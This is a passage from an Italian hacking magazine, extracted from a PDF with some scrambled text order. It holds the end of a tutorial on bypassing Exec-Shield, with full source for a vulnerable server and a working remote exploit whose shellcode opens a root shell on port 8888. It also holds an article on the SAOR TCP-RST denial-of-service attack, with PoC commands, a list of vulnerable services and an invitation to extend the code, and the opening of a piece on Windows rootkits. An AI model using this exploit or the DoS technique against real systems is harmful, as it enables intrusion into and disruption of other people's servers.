(riportato in Tabella 2) dovrà comporsi delle seguenti
parti. All'inizio verrà collocato lo shellcode:
char shellcode[] =
"\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74"
"\x24\xf4\x5b\x81\x73\x13\x84\x06\x32"
"\xd3\x83\xeb\xfc\xe2\xf4\xb5\xdd\x61"
"\x90\xd7\x6c\x30\xb9\xe2\x5e\xab\x5a"
"\x65\xcb\xb2\x45\xc7\x54\x54\xbb\xa6"
"\xbe\x54\x80\x0d\xe7\x58\xb5\xdc\x56"
"\x63\x85\x0d\xe7\xff\x53\x34\x60\xe3"
"\x30\x49\x86\x60\x81\xd2\x45\xbb\x32"
"\x34\x60\xff\x53\x17\x6c\x30\x8a\x34"
"\x39\xff\x53\xcd\x7f\xcb\x63\x8f\x54"
"\x5a\xfc\xab\x75\x5a\xbb\xab\x64\x5b"
"\xbd\x0d\xe5\x60\x80\x0d\xe7\xff\x53"
Quindi andrà posto l'indirizzo PLT della funzione
strcpy():
"\x18\x85\x04\x08"
Ancora un'istruzione “ret”:
"\xdd\x88\x04\x08"
Ed infine l'indirizzo prescelto che punta all'area di
memoria accessibile in scrittura ed esecuzione:
"\x55\xd0\x4b\x00";
Adesso mettiamo nuovamente sotto debugging
l'applicazione vulnerabile ed impostiamo un break point
prima del ritorno della funzione do_it(). Fatto ciò,
compiliamo e lanciamo l'exploit in Tabella 2:
$ gcc exploit.c –o exploit
$ ./exploit indirizzo_ip
Dal punto di arresto del debugger analizziamo ancora
una volta la conformazione dello Stack:
La sua dimensione (108 byte) richiederà in seguito
l'aggiunta di altri 152 byte di garbage data (dati
34
(gdb) x/40bx $esp
0xbfbf11ac: 0xdd 0x88
0xdd 0x88
0xbfbf11b4: 0xdd 0x88
0xdd 0x88
0xbfbf11bc: 0xdd 0x88
0xdd 0x88
0xbfbf11c4: 0x18 0x85
0xdd 0x88
0x04
0x04
0x04
0x04
0x04
0x04
0x04
0x04
0x08
0x08
0x08
0x08
0x08
0x08
0x08
0x08
[*]
[*]
[*]
[*]
[*]
[*]
[**]
[*]
look at
BYPASSARE EXEC-SHIELD SU FEDORA
E REDHAT LINUX (x86)
LINUX
0xbfbf11cc: 0x55 0xd0 0x4b 0x00
0xf0 0x11 0xbf 0xbf
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm
),6(disk),10(wheel)
[***]
Gli indirizzi contraddistinti da un asterisco sono i
puntatori all'istruzione “ret”, quello con due asterischi è
l'entry PLT di strcpy() mentre con tre abbiamo
contrassegnato l'indirizzo dell'area di memoria in cui lo
shellcode deve essere copiato. In grassetto è possibile
invece notare l'indirizzo che punta al buffer utente
(ovvero all'inizio dello shellcode). Risulta cambiato
rispetto alla precedente sessione di debugging per via
delle funzionalità di Address Space Layout
Randomization del sistema operativo ma la sua
posizione (offset) nello Stack è rimasta uguale.
Continuando nell'esecuzione dell'applicazione viene
infine aperta una shell sulla porta TCP 8888:
Exec-Shield è stato così bypassato.
Conclusione
Quello descritto oggi è solo un metodo per bypassare
Exec-Shield. Non è come sfruttare un Vanilla Stack
Overflow ma è ugualmente una tecnica valida. Per fare
pratica con un'applicazione reale compilata su Fedora,
Red Hat Linux o CenOS, potete comunque prendere
come riferimento la vulnerabilità del Mod_JK descritta
nell'articolo precedente. Anche lì da qualche parte nello
stack troverete un puntatore al buffer utente :)
Per accedere ai contenuti messi a disposizione dalla
redazione visita http://www.segfault.it/SS/001/ExecShield/metodo_one.tar.gz
$ nc IP_SERVER 8888
id
Tabella 1: server_vuln.c
#include
#include
#include
#include
#include
#include
#include
#include
<stdio.h>
<stdlib.h>
<netinet/in.h>
<sys/socket.h>
<error.h>
<errno.h>
<string.h>
<strings.h>
void handle(char *);
void do_it(char *);
int main(int argc, char *argv[])
{
/*
Puntatore al buffer inviato dall'utente. E' importante per
dimostrare che un attacco tramite shellcode è ancora
possibile pur la presenza di Exec-Shield.
*/
char *pointer;
int fd, newfd, ret, clen;
struct sockaddr_in xab, client;
char mex[1024];
fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd == -1)
{
printf("%s\r\n", strerror(errno));
exit(EXIT_FAILURE);
}
memset(&xab, 0, sizeof(xab));
xab.sin_family = AF_INET;
xab.sin_port = htons(60000);
xab.sin_addr.s_addr = ntohl(INADDR_ANY);
35
look at
BYPASSARE EXEC-SHIELD SU FEDORA
E REDHAT LINUX (x86)
LINUX
ret = bind(fd, (struct sockaddr *)&xab, sizeof(xab));
if (ret == -1)
{
printf("%s\r\n", strerror(errno));
exit(EXIT_FAILURE);
}
ret = listen(fd, 5);
if (ret == -1)
{
printf("%s\r\n", strerror(errno));
exit(EXIT_FAILURE);
}
for (; ;)
{
clen = sizeof(client);
newfd = accept(fd, (struct sockaddr *)&client, &clen);
if (newfd == -1)
{
printf("%s\r\n", strerror(errno));
exit(EXIT_FAILURE);
}
read(newfd, mex, sizeof(mex), 0);
pointer = mex;
handle(mex);
memset(&mex, 0, sizeof(mex));
send(newfd, "Thank You!\r\n", 12, 0);
close(newfd);
}
}
void handle(char *mex)
{
/*
Puntatori Inutilizzati. Il loro scopo in questo sorgente
di test è solamente quello di occupare spazio in memoria.
*/
char *a, *b, *c, *d;
do_it(mex);
return;
}
void do_it(char *mex)
{
char request[256];
memset(&request, 0, sizeof(request));
strcpy(request, mex);
printf(">>%s>>\r\n", request);
}
Tabella 2: exploit.c
#include
#include
#include
#include
#include
#include
#include
<stdio.h>
<stdlib.h>
<netinet/in.h>
<sys/socket.h>
<error.h>
<errno.h>
<string.h>
36
look at
BYPASSARE EXEC-SHIELD SU FEDORA
E REDHAT LINUX (x86)
LINUX
#include <strings.h>
char shellcode[] =
// shellcode 108 byte
"\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x84\x06\x32"
"\xd3\x83\xeb\xfc\xe2\xf4\xb5\xdd\x61\x90\xd7\x6c\x30\xb9\xe2\x5e\xab\x5a"
"\x65\xcb\xb2\x45\xc7\x54\x54\xbb\xa6\xbe\x54\x80\x0d\xe7\x58\xb5\xdc\x56"
"\x63\x85\x0d\xe7\xff\x53\x34\x60\xe3\x30\x49\x86\x60\x81\xd2\x45\xbb\x32"
"\x34\x60\xff\x53\x17\x6c\x30\x8a\x34\x39\xff\x53\xcd\x7f\xcb\x63\x8f\x54"
"\x5a\xfc\xab\x75\x5a\xbb\xab\x64\x5b\xbd\x0d\xe5\x60\x80\x0d\xe7\xff\x53"
// 152 byte di A
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAA"
// 6 istruzioni RET
"\xdd\x88\x04\x08\xdd\x88\x04\x08\xdd\x88\x04\x08\xdd\x88\x04\x08"
"\xdd\x88\x04\x08\xdd\x88\x04\x08"
// strcpy() PLT
"\x18\x85\x04\x08"
// 1 istruzione RET
"\xdd\x88\x04\x08"
// library address
"\x55\xd0\x4b\x00";
int main(int argc, char *argv[])
{
int fd, ret, l = 0, i = 0;
struct sockaddr_in xab;
char buf[4098];
if (argc != 2)
{
printf("utilizzo %s [Indirizzo_IP]\r\n", argv[0]);
exit(EXIT_FAILURE);
}
fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd == -1)
{
printf("%s\r\n", strerror(errno));
exit(EXIT_FAILURE);
}
memset(&xab, 0, sizeof(xab));
xab.sin_family = AF_INET;
xab.sin_port = htons(60000);
xab.sin_addr.s_addr = inet_addr(argv[1]);
ret = connect(fd, (struct sockaddr *)&xab, sizeof(xab));
if (ret == -1)
{
printf("%s\r\n", strerror(errno));
exit(EXIT_FAILURE);
}
send(fd, shellcode, strlen(shellcode), 0);
close(fd);
printf("[%s]: Controlla la porta TCP 8888 per una shell\r\n", argv[1]);
}
37
look at
CROSS PLATFORM
SAOR: Attacco al TCP
sequenza TCP. Nel caso di SAOR però il tipo di DoS
generato è di differente entità. Il successo dell'attacco
consiste nel blocco momentaneo o nel rallentamento
del servizio colpito, mentre in altri casi può addirittura
causarne il crash. Questo rende SAOR una valida
alternativa ai tradizionali attacchi di massa DDoS
basati sulla saturazione della banda a disposizione
dell'host vittima, in quanto l'azione offensiva può
essere condotta in modo preciso su uno specifico
servizio, sprecando meno risorse hardware e/o di
rete e risultando quindi in un minore rischio di
individuazione. Se c'è un motivo per il quale
probabilmente questa tecnica non è stata
vastamente impiegata fra le botnet di PC zombie,
questo è da ricercare nelle modalità di pubblicazione
del post originariamente apparso nel 2002 nella
mailing list sikurezza.org, ovvero esclusivamente in
lingua italiana e mai tradotto né divulgato in altre
forme o attraverso fonti alternative.
Introduzione
C
inque anni fa veniva pubblicato nella mailing
list sikurezza.org[1] un messaggio che
descriveva una tecnica di offesa denominata
dal suo stesso autore SAOR, acronimo di States
Attack Over RST. A dispetto del poco
interessamento mostrato dalla comunità nei confronti
del post (tanto che questa tipologia di attacco può
essere considerata ancora oggi inedita al grande
pubblico che orbita attorno al panorama
internazionale della sicurezza informatica) SAOR
rimane a distanza di così tanto tempo una tecnica che
può rappresentare una minaccia reale di vasta
portata. Riconducibile alla categoria dei DoS/DDoS,
SAOR non è un attacco basato sulla saturazione
della banda di rete quanto sull'utilizzo sovversivo del
bit di controllo RST dei pacchetti TCP. Il fine è quello
di generare connessioni disallineate, ovvero attive
nella tabella dei collegamenti del server ma
contemporaneamente inesistenti presso quella del
client. L'impiego del flag RST non è nuovo a scenari di
offesa perpetrati tramite Internet. Uno studio[2]
rilasciato dal ricercatore Paul Watson nel 2004
descriveva ad esempio come attraverso lo spoofing,
il bit di controllo RST potesse essere utilizzato per
distruggere le connessioni intercorse fra due host
senza conoscere preventivamente i numeri di
[1] http://www.sikurezza.org/ml/06_02/msg00172.html
[2] http://osvdb.org/reference/SlippingInTheWindow_v1.0.doc
CLIENT
SERVER
CLOSED
LISTEN
SYN (100)
SYN_SENT
SYN (300) ACK(101)
SYN_RCV
ESTABLISHED
ACK (301)
ESTABLISHED
Figura 1: TCP Three Way Handshake
38
SAOR: Attacco al TCP
CROSS PLATFORM
look at
ed un Acknowledgement Number, sempre della
dimensione di 32 bit, che equivale al valore di
K+1. Questo comportamento indica che il server
accetta la connessione e chiede conferma per
l'inizio della sessione (cioè lo scambio vero e
proprio dei dati) . Il server in questo momento si
trova nello stato SYN_RCVD;
Il 3 Way Handshake
Per comprendere questa tecnica di attacco è
necessario fare un passo indietro rispolverando il
modo in cui le connessioni TCP vengono stabilite. Il
preludio, ovvero la sincronizzazione della sessione
prima che il client ed il server possano scambiarsi
reciprocamente i dati, avviene tramite una procedura
definita 3-way handshake e regolata dalla RFC
793[3] proprio attraverso lo scambio di tre pacchetti
(Figura 1) così distribuiti:
§
Il client risponde al server con un pacchetto TCP
attivando il bit di controllo ACK e generando un
Acknowledgement Number a 32 bit equivalente al
valore di J+1, concludendo di fatto la fase del 3
way handshake.
§
il client invia un pacchetto TCP al server attivando
il bit di controllo SYN e generando un numero di
sequenza (Sequenze Number) a 32 bit che qui
definiremo K. Questo pacchetto equivale ad una
richiesta di connessione. Il client si trova in questo
momento nello stato SYN_SENT;
A questo punto la connessione in entrambi le
direzioni è ESTABLISHED (stabilita). In realtà il client
passa dallo stato SYN_SENT allo stato ESTABLISHED
già dopo aver ricevuto il secondo pacchetto inviato
durante il preludio alla connessione.
§
il server risponde al client con un pacchetto TCP
attivando contemporaneamente i bit di controllo
SYN ed ACK. Il server genera anche un proprio
numero di sequenza a 32 bit che qui definiremo J
[3] http://www.faqs.org/rfcs/rfc793.html
32 bits
Destination port
Source port
Sequence number
Acknowledgement number
TCP
header
lenght
U
R
G
A
C
K
P
S
H
R
S
T
S
Y
N
F
I
N
Window size
Urgent pointer
Checksum
Options (0 or more 32-bit words)
Data (optional)
Figura 2: header TCP
39
look at
CROSS PLATFORM
SAOR: Attacco al TCP
server, auto-chiudendo così la sua connessione). Il
secondo è il modo in cui avviene il reset del
collegamento. Il Sequence Number è infatti uguale
all'Acknowledgment Number dell'ultimo pacchetto
inviato dal client al completamento del three way
handshake (terzo riferimento in Tabella 1). Anche i
numeri che identificano le porte del client e del server
devono naturalmente essere gli stessi affinché la
connessione possa essere efficacemente distrutta.
SAOR: l'attacco
Un attacco di tipo SAOR ha origine subito dopo che
una connessione è stata stabilita. Il client inganna lo
stack TCP/IP del suo sistema operativo resettando la
connessione attraverso il bit di controllo RST,
utilizzando la tecnica dello spoofing (Figura 3). Questa
procedura viene ripetuta centinaia o migliaia di volte ed
ha spesso l’effetto di causare il crash, il blocco di un
servizio o rallentarne notevolmente le performance.
Per capire cosa accade realmente analizziamo in
Tabella 1 il contenuto di una sessione di esempio
(semplificata per l'occasione) ottenuta mediante
tcpdump[4]. I primi tre pacchetti sono relativi all'inizio ed
al completamento della fase di three way handshake. Il
quarto pacchetto è invece il vero e proprio vettore
dell'attacco. Qui è possibile notare due aspetti di
interesse. Il primo è che la connessione pare essere
stata resettata dal server (in realtà è il client che
attraverso la tecnica dello spoofing ha falsificato il
pacchetto in modo da farlo apparire proveniente dal
[4] http://www.tcpdump.org: Analizzatore di rete per Linux basato su
linea di comando che può essere impiegato all'occorrenza anche
come packet sniffer. Un'implementazione per Windows
denominata Windump è disponibile dal sito
http://www.winpcap.org/windump/
CLIENT
SERVER
CLOSED
LISTEN
SYN (100)
SYN_SENT
SYN (300) ACK(101)
SYN_RCV
ESTABLISHED
ACK (301)
ESTABLISHED
RST (301)
Figura 3: Vettore di un attacco SAOR (RST Packet)
40
look at
CROSS PLATFORM
SAOR: Attacco al TCP
TABELLA 1: sessione ricavata con il comando tcpdump -n-S port 80
Pacchetto 1: client.48550 > server.http: S 2118170236:2118170236(0) win 5840
Pacchetto 2: server.http > client.48550: S 59907385:59907385(0) ack 2118170237
Pacchetto 3: client.48550 > server.it.http: . ack 59907386 win 183
Pacchetto 4: server.http > client.48550: R 59907386:59907386(0) win 0
Legenda
S = SYN
. = nessun dato solo ACK
R = RST
Ciò significa che nessuna nuova richiesta può essere
servita da Apache per i successivi 5 minuti
dall'attacco. Il DoS può essere ripetuto all'infinito in
quanto anche disponendo di modeste capacità di
banda e di un unico sistema dal quale condurre
l'azione malevola, è possibile allocare in poco tempo
molte più connessioni fantasma di quante il server
riesca a chiuderne.
Case Study: Apache 1.3.x e 2.0.x
Tra i servizi che maggiormente si prestano ad un
attacco di tipo SAOR vi è HTTP ed in particolare
l'implementazione offerta dal Web Server Apache (per
il momento prenderemo in esame solo le versioni del
branch 1.3.x e 2.0.x). Sono due le impostazioni che lo
rendono particolarmente soggetto a questa
problematica:
Un metodo semplice per misurare il Timeout di un web
server Apache 1.3 o 2.0 è quello di eseguire il
comando:
§
Timeout: indica dopo quanti secondi ciascuna
connessione HTTP deve essere terminata;
§
Maxclients: indica quante connessioni
contemporanee il web server può gestire;
# date; telnet www.nomesito.xx 80; date
Di default, partendo da un'installazione praticata
attraverso i sorgenti[5], entrambi le opzioni sono così
e calcolare la differenza tra i due orari stampati a video
prima e dopo il termine di esecuzione del telnet.
configurate in httpd.conf:
Ma osserviamo più da vicino un esempio pratico degli
effetti causati da un attacco di tipo SAOR. Per farlo ci
avvarremo di un Proof Of Concept che la redazione di
Security System desidera mettere a disposizione dei
suoi lettori[6].
Timeout 300
MaxClients 150
L'effetto prodotto quando la coda di Apache raggiunge
il limite massimo (MaxClients) di connessioni gestibili
è che il servizio smette di elaborare ogni altra richiesta
aggiuntiva proveniente dai client. In condizioni di
default quindi un SAOR Attack permette di allocare in
pochissimo tempo 150 o più connessioni, ciascuna
delle quali rimane appesa nello stato ESTABLISHED
[5] http://httpd.apache.org
[6] http://www.segfault.it/SS/001/SAOR/saor_listen.tar.gz: Il PoC
può essere compilato su Linux ma i suoi effetti si estendono
anche a servizi ospitati in altre piattaforme (come Windows ad
esempio).
per 300 secondi prima di essere terminata dal server.
41
look at
CROSS PLATFORM
Il codice è inedito e non è mai stato pubblicato in rete,
pertanto può essere considerato a tutti gli effetti uno
0day (forse non più a partire da oggi ). Fare riferimento
al file README all'interno del package prelevabile dal
sito www.segfault.it per determinare come compilare
l'applicazione e risolvere le dipendenze necessarie
(step che non copriremo in questo articolo). Il sorgente
si compone di due parti (SAOR-listen e SAOR-
SAOR: Attacco al TCP
Dall'output si evince che nel server è in atto un
collegamento proveniente da ip_client dalla porta
51979 verso il servizio web locale (porta 80). Questa
connessione però lato client non esisterà. Ciò significa
che il server ha una connessione allocata nello stato
ESTABLISHED che di fatto non esiste. La procedura
qui riprodotta, reiterata svariate volte, permette in
parole povere di allocare presso il server centinaia o
migliaia di connessioni fantasma rispetto ad un
dispendio di risorse client side praticamente nullo. Ad
esempio lanciando opportunamente la componente
SAOR-connect, in poco tempo ip_server sulla porta 80
connect). La prima è la componente server. Si
occupa essenzialmente di osservare i pacchetti che
fluiscono in rete e determinare se e quando resettare
con il metodo SAOR una connessione. La seconda è
invece la componente client che si occupa di avviare
ripetutamente il three way handshake presso la
destinazione ed il servizio vittima (una semplice
connect() ripetuta dentro un ciclo infinito).
non sarà più raggiungibile. Quanto più il timeout del
servizio sarà elevato, tanto più l'attacco avrà efficacia.
Un ulteriore aspetto interessante degno di nota è che
l'attacco non produce alcuna indicazione nei file di log
del servizio che permetta all'amministratore di risalire a
chi lo ha condotto. Raggiunto il limite Maxclients nel
file degli errori del webserver (di default error_log)
Per lanciare la parte server aprite una finestra di shell e
digitate:
# ./SAOR-listen "host ip_server and port 80"
eth0
l'unico messaggio visibile sarà:
Gli argomenti specificati indicano a SAOR-listen di
[Sun Apr 01 17:51:22 2007] [error] server
reached MaxClients setting, consider raising
the MaxClients setting
resettare tutte le connessioni relative al socket
ip_server:80 passanti per l'interfaccia eth0. Facciamo
adesso un test manuale. Lanciamo da locale (ovvero
da dove è stato avviato SAOR-listen) un telnet verso
Niente indirizzi IP quindi neanche in access_log in
quanto il semplice three way handshake non è
sufficiente per generare una entry nei log di Apache se
a seguire non vi è una esplicita richiesta HTTP.
ip_server:
# telnet ip_server 80
Trying ip_server...
Connected to ip_server
Escape character is '^]'.
Connection closed by foreign host.
Case Study: Apache 2.2.x
Gli ultimi rilasci stabili del branch 2.2 di Apache
appaiono essere più coriacei rispetto alle edizioni 1.3.x
e 2.0.x del web server di fronte ad un SAOR Attack. A
partire da questo release infatti il servizio non
considera stabilito un collegamento fino a quando il
client non invia almeno un byte di dati al server.
Osserviamo più da vicino cosa succede dopo che il
three way handshake viene portato a termine su
Apache 2.2:
La prima cosa da notare è che quasi immediatamente
la connessione viene chiusa (segno che la
componente SAOR-listen sta svolgendo
adeguatamente il suo lavoro). Adesso spostiamoci
momentaneamente sul server e diamo un breve
sguardo alla sua tabella delle connessioni:
# netstat -an
[...]
ip_server:80 ip_client:51979 ESTABLISHED
42
look at
CROSS PLATFORM
SAOR: Attacco al TCP
handshake, all'arrivo del primo SYN chi attacca
vedrebbe infatti il kernel della propria macchina
rispondere con un pacchetto RST, il che farebbe capire
al server che la connessione presso il client non esiste,
connessione che a sua volta verrebbe chiusa lato
Apache.
16:05:41.088095 server.80 > client.52346: S
2119450554 ack 256910396
16:05:41.088124 client.52346 > server.80: .
ack 2119450555
16:05:47.137328 server.80 > client.52346: S
2119450554 ack 256910396
16:05:47.137358 client.52346 > server.80: .
ack 2119450555
Questo non significa però che il branch 2.2 del web
server è immune da attacchi SAOR. Il problema può
infatti essere facilmente bypassato inviando, al
completamento del three way handshake, un solo byte
di dati e resettando subito dopo la connessione lato
client.
16:06:23.186346 server.80 > client.52346: S
2119450554 ack 256910396
16:06:23.186376 client.52346 > server.80: .
ack 2119450555
[…]
Le modifiche necessarie per rendere utilizzabile anche
con Apache 2.2.x il codice segnalato nella nota 6 sono
minime (solo un paio di step in più). Lasciamo
comunque al lettore il compito di adattarlo a
piacimento!
Si può notare come il server invii ad intervalli regolari
crescenti un pacchetto TCP con flag SYN a cui il client
risponde ogni volta con un ACK. Un normale attacco
SAOR non potrebbe funzionare in questo caso. Se la
connessione viene resettata appena dopo il three way
QUALCHE DATO STATISTICO
Noi dello staff di Security System abbiamo voluto sondare in prima persona l'attuale livello di diffusione delle tre
ultime versioni di Apache, testando 46.670 web server in rete. Dai risultati emerge che ancora una grande
quantità di sistemi fa largo uso dei branch 1.3.x e 2.0.x, a dispetto di un maggior livello di protezione offerto
dall'edizione 2.2.x, più resistente ad attacchi di tipo SAOR ma non completamente immune a questa tecnica di
offesa:
7,14%
Apache 1,3,x
(27.257)
34,46%
Apache 2.0x
(16081)
58,40%
Apache 2.2.x
(3332)
43
look at
CROSS PLATFORM
SAOR: Attacco al TCP
Un altro rilievo interessante proviene dal tempo di Timeout medio che deve trascorrere prima che il web server
Apache scarti una connessione nulla (ovvero nella quale, dopo il termine del three way handshake, non viene
più scambiato alcun dato). In quest'altro caso emerge che è ancora molto alta in rete la percentuale di web
server che hanno un timeout di 5 minuti o compreso nell'intervallo 1-3 minuti e che sono quindi particolarmente
esposti ad un attacco SAOR :
5 minuti
14,28%
tra 1 e 3 minuti
47,60%
meno di 60
secondi
38,12%
Con Timeout superiori o uguali al minuto in genere è sufficiente lanciare un SAOR Attack da un unico
sistema per riuscire a bloccare o rallentare considerevolmente un web server Apache.
E gli altri servizi?
HTTP è un servizio che si presta maggiormente ad
attacchi di tipo SAOR ma non è l'unico esposto a tale
minaccia. Quando si parla di questa tecnica dobbiamo
infatti distinguere tra due categorie differenti di
servizi/protocolli: quelli che al termine del three way
handshake attendono la richiesta dell'utente e quelli
che immediatamente dopo inviano al client un banner
identificativo o uno stream di byte service dependent[7].
Appartengono ad esempio alla prima categoria oltre ad
HTTP anche RDP (il protocollo che rende possibili le
sessioni di desktop remoto su Windows) ed SMB (il
protocollo per le condivisioni di file e stampanti che
rappresenta una delle parti più importanti che
compongono il servizio CIFS) mentre per la seconda
categoria (indubbiamente più numerosa) si possono
menzionare FTP, SMTP, POP3, IMAP, RFB (il
protocollo utilizzato dal VNC e dai sistemi derivati),
SSH, etc…
Prendendo come riferimento alcuni fra questi ultimi
44
servizi (nello specifico SMTP, SSH, FTP e POP3)
abbiamo deciso di testare il loro grado di resistenza ad
un attacco di tipo SAOR. Ciò che ne è scaturito sono i
risultati delle Tabelle 2 e 3.
Pur non riportato in entrambe queste tabelle, è
significativo come dai nostri test siamo riusciti a
bloccare con successo il servizio di desktop remoto di
Windows 2000 ma non quello di Windows Server
2003 (che impone una restrizione sul numero delle
connessioni fatte da uno specifico indirizzo IP,
restrizioni non presenti invece nella versione
precedente del sistema operativo). Nel caso del
servizio CIFS (porte 139/445) siamo invece riusciti a
replicare un DoS precludendo la fase di autenticazione
remota e di scambio di file su Windows 2000 SP4 e
Windows XP SP2 (Windows Server 2003 non è stato
testato in questo caso).
[7] Per intenderci il codice dimostrativo indicato nella nota 6
funziona solo contro la prima categoria di servizi. Lasciamo al
lettore il compito di adattarlo in modo che possa funzionare anche
con i servizi appartenenti alla seconda categoria.
look at
CROSS PLATFORM
Fra le implementazioni SMTP, Exim è invece risultato
in ogni implementazione testata non vulnerabile.
Stesso discorso per Courier nella categoria dei servizi
POP3.
SAOR: Attacco al TCP
Al contrario di Apache infine le versioni 5.0 e 6.0 di IIS (il
web server presente di default in alcune edizioni di
Microsoft Windows) non sono risultare vulnerabili ad
un attacco di tipo SAOR.
TABELLA 2
Vulnerabile
SMTP
POP3
FTP
SSH
65%
63,63%
87,50
100%
Percentuali di vulnerabilità[8] al SAOR Attack
riscontrate su 45 implementazioni totali dei servizi
SMTP, POP3, FTP ed SSH testati
Non
Vulnerabile
35%
36,37%
12,50
0%
[8] Un servizio viene considerato vulnerabile se un attacco SAOR
riesce a precluderne l'accesso agli utenti per un periodo di tempo
arbitrario o se riesce notevolmente a rallentarne le performance.
TABELLA 3
SMTP
POP3
OpenSSH 3.5.1
TPOP 3D
FTP
ProFtpd
1.2.8/1.2.9/1.2.10/1.3.10
LukeMFTPD 1.2 Beta 1
Qmail
Cubib Circle 1.31
Postfix
Sendmail
8.12.11/8.12.9
Exchange 2003/
Microsoft SMTP 6.0
ArgoSoft 1.8.2.3
MDaemon
7.1.3/8.1.3
SSH
Imail 5.0.6
WarFTPD 1.71
OpenSSH 3.8.1
Argosoft 1.8.2
PureFTPD
OpenSSH 4.2
OpenSSH 3.7.1
Cyrus 2.0.16
OpenSSH 4.2p1
MDaemon 9.5.6
OpenSSH 4.5
Alcuni dei servizi e delle implementazioni software risultati vulnerabili[9] ad un attacco SAOR
[9] Si premette che le medesime versioni di alcuni fra questi
servizi sono risultate talvolta vulnerabili in certi casi e non
vulnerabili in altri. Ciò dipende naturalmente dal modo in cui il
servizio è configurato e dalle misure di hardening effettivamente
implementate per proteggerlo. I dati della tabella devono pertanto
essere considerati in funzione di questo aspetto.
Conclusione
Diversi altri aspetti che per il momento intendiamo lasciamo in sospeso dovrebbero essere discussi su SAOR, aspetti
che ci ripromettiamo di approfondire in un altro numero di Security System. Prima di concludere però vale la pena
spendere qualche parola sulle possibilità di difesa contro la tecnica oggi descritta. Molti servizi da noi testati e risultati
immuni ad un SAOR Attack sferrato da un singolo sistema, si difendono attualmente implementando un limite nelle
connessioni client. Superato questo limite non viene più concesso allo stesso indirizzo IP di comunicare con il
servizio fino a quando le altre connessioni allocate non vengono chiuse. Seppure un buon metodo per proteggersi da
un attacco lanciato da un unico host, ciò non è sufficiente a mettere la parola fine sulla questione, soprattutto in uno
scenario distribuito dove cioè più sistemi collaborano al fine di seppellire il server sotto il carico di migliaia di
collegamenti fantasma. Quale altro metodo secondo voi potrebbe aiutare a risolvere definitivamente il problema?
Segnalateci le vostre idee (ed eventualmente il vostro codice) scrivendo a [email protected]. Potreste essere
coinvolti in una iniziativa cui daremo maggiore spazio a partire dai prossimi numeri di Security System.
45
look at
FILTER DRIVER: Costruire rootkit a basso
sforzo sfruttando il modello driver
stratificato di Windows
WINDOWS
D
a almeno 11 anni a questa parte[1] uno degli
strumenti immancabili nella “valigia virtuale” di
ogni smanettone è il rootkit. Sviluppato con lo
scopo di sniffare il traffico di rete, intercettare i tasti
digitati dagli utenti o sovvertire le normali operazioni del
sistema agendo da backdoor (ovvero con l'obiettivo
principale di assicurarsi un accesso invisibile e
reiterato nel tempo) i primi componenti di questo tipo
operavano in user land, andando a sostituire i comuni
file di sistema. L'approccio però si rivelò ben presto
inefficace con l'avvento di tool come Tripwire[2], capaci
di fotografare lo stato del filesystem in un dato
momento e compararlo con uno snapshot successivo
per identificare le applicazioni modificate o gli elementi
estranei aggiunti. L'interesse degli smanettoni
cominciò quindi a spostarsi verso il lato kernel. I
vantaggi di eseguire il proprio codice a ring 0[3] erano in
passato (e sono ancora oggi nel presente) notevoli.
Anzitutto si ha la possibilità di disporre sempre di
privilegi superiori a qualsiasi altra applicazione
eseguita in user land (anche lanciata con permessi
amministrativi), inoltre ci si trova ad operare allo stesso
livello di tutte le altri componenti kernel, incluse quelle
installate dalle comuni applicazioni antivirus ed
antispyware, permettendo all'intruso di “guerreggiare”
ad armi pari con esse. In aggiunta una componente che
gira in kernel land non è identificata da un processo in
esecuzione in memoria visionabile ad esempio con il
Task Manager o con strumenti simili, quindi è meno
facilmente rintracciabile.
Rootkit per Windows
Allo stesso modo di Linux e più in generale di Unix, i
primi rootkit apparsi su Windows operavano
principalmente in user land. In questo caso alcune
tecniche di hooking erano addirittura note fin dal
1994[4][5]. Dal 2004 ad oggi però il numero dei kernel
rootkit è cresciuto in modo impressionante fino a
giungere ai livelli odierni di totale predominanza. Su
Windows a girare a ring 0 sono i driver. Non a caso un
kernel rootkit per Windows è essenzialmente un driver
che opera come filtro sulle richieste passanti. Al
contrario però di molti altri sistemi operativi, ogni device
(ovvero dispositivo fisico) in ambiente Microsoft può
46
essere gestito da più di un driver, cioè i driver in
Windows sono organizzati secondo un modello a
strati: ognuno ha il suo ruolo ed entra in gioco in un
momento specifico. Ad esempio la componente che
comunica direttamente con l'hardware viene definita
bus driver (diminutivo PDO), mentre quella che
implementa le funzionalità principali viene denominata
function driver (o utilizzando un diminutivo, FDO).
[1] Quando l'autore dell'articolo ha iniziato ad interessarsi di
sicurezza informatica nel 1997, era molto praticato al tempo
l'hacking delle shell finalizzato all'installazione di IRC BNCBot o
PSYBot, tutte componenti che si cercava di nascondere agli occhi
indiscreti dell'admin, inizialmente con metodi rudimentali (ad
esempio rinominando il file di sistema originale ed al suo posto
utilizzando uno script bash che richiamava l'applicazione regolare e
filtrava l'output prima che venisse visualizzato dall'amministratore
della macchina), poi via via con delle applicazioni compilate che
venivano organizzate in veri e propri package, fino a giungere alla
creazione di moduli kernel.
[2] Di fatto questo genere di strumenti sono in grado di calcolare
l'impronta digitale di ogni file presente nel filesystem con algoritmi di
hashing come MD5 o SHA-1, oltre a tenere traccia degli ultimi
accessi e delle ultime modifiche.
[3] Nell'architettura x86 (ma si tratta di un aspetto più o meno
comune a molte altre piattaforme hardware) il processore fornisce
un meccanismo elementare di divisione dei privilegi attraverso i
ring. Ad esempio Windows e Linux sui sistemi a 32 bit fanno girare le
applicazioni utente a ring 3 (inclusi i programmi lanciati
dall'amministratore) e le componenti kernel (i driver) a ring 0. I ring
in mezzo vengono raramente e comunque quasi mai direttamente
utilizzati dal sistema operativo. Il passaggio da un ring meno
privilegiato ad uno di livello superiore avviene attraverso un call
gate o nei moderni processori tramite l'istruzione sysenter.
[4] “Load Your 32-bit DLL into Another Process's Address Space
Using INJLIB” Microsoft Systems Journal Volume 9 Number 5 (May
1994).
[5]
Funzioni
come
SetWindowsHookEx()
e
GetAsyncKeyState()(esportate dalla libreria User32.dll)
